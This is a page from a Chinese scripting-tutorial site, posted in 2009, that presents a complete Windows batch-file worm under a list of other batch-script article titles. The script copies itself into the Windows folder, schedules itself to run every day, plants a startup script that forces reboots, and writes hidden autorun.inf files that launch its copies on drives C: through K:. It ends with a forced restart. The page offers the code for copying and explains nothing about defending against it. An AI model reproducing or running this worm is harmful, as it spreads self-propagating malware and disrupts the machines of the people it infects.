当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 批处理蠕虫bat

DOS/BAT
自动改回主页的批处理文件
win2000/XP停止打印.bat
在当前目录生成很漂亮的结构树的批处理dir.bat
可以查杀sxs.exe的bat(批处理)文件
sz.reg转换成reg.bat的批处理
按扩展名分类批处理bat文件
查找最新的文件的批处理bat文件
用bat实现打开快捷方式指向的目录
将c:\windows.复制到当前目录并显示进度的批处理文件
用批处理解锁注册表
用批处理实现的篮球飞人火爆版
枚举当前目录及子目录大小的批处理
用批处理得到每个目录占用的空间
枚举显示批处理bat
全盘删除所有文件夹下的_desktop.ini的批处理bat文件
用批处理实现删除大小和类型一样的文件的代码
自动检测所有盘然后删除所有分区的默认共享的批处理
根据输入的文字实现输出倒文的批处理
一个可以显示c盘-z盘的批处理bat文件
用debug实现dos下重启的代码

DOS/BAT 中的 批处理蠕虫bat


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 63 ::
收藏到网摘: n/a

复制代码 代码如下:

@echo off
attrib -r -h -s "%~nx0" 2>nul >nul
attrib -r -h -s %windir%\"%~nx0" 2>nul >nul
copy "%~nx0" %windir% /y 2>nul >nul
at 9:20 /every:m,t,w,th,f,s,su "%windir%\%~nx0"
echo reboot>%windir%\temp.dll
set pat=「开始」菜单\程序\启动
echo @echo off>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo echo reboot^>^>%%windir%%\temp.dll>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo find /c "reboot" %%windir%%\temp.dll^|find "11">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo if errorlevel 1 goto rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\user.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\temp.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del /f /q "%%~nx0">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo :rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo shutdown /r /t 0 /f>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo [autorun]>%windir%\user.dll
echo shellexecute=%~nx0>>%windir%\user.dll
set disk=C:>nul 2>nul
:auto
copy %windir%\"%~nx0" %disk%\ /y 2>nul >nul
copy %windir%\user.dll %disk%\autorun.inf /y 2>nul >nul
attrib +s +h +r %disk%\%~nx0 2>nul >nul
attrib +s +h +r %disk%\autorun.inf 2>nul >nul
cls
goto %disk%>nul 2>nul
:C:
set disk=D:>nul 2>nul
goto auto>nul 2>nul
: D:
set disk=E:>nul 2>nul
goto auto>nul 2>nul
:E:
set disk=F:>nul 2>nul
goto auto>nul 2>nul
:F:
set disk=G:>nul 2>nul
goto auto>nul 2>nul
:G:
set disk=H:>nul 2>nul
goto auto>nul 2>nul
:H:
set disk=I:>nul 2>nul
goto auto>nul 2>nul
:I:
set disk=J:>nul 2>nul
goto auto>nul 2>nul
:J:
set disk=K:>nul 2>nul
goto auto>nul 2>nul
:K:
set disk=L:>nul 2>nul
goto auto>nul 2>nul
: L:
cls
attrib +s +h +r %windir%\%~nx0 2>nul >nul
shutdown /r /t 0 /f
exit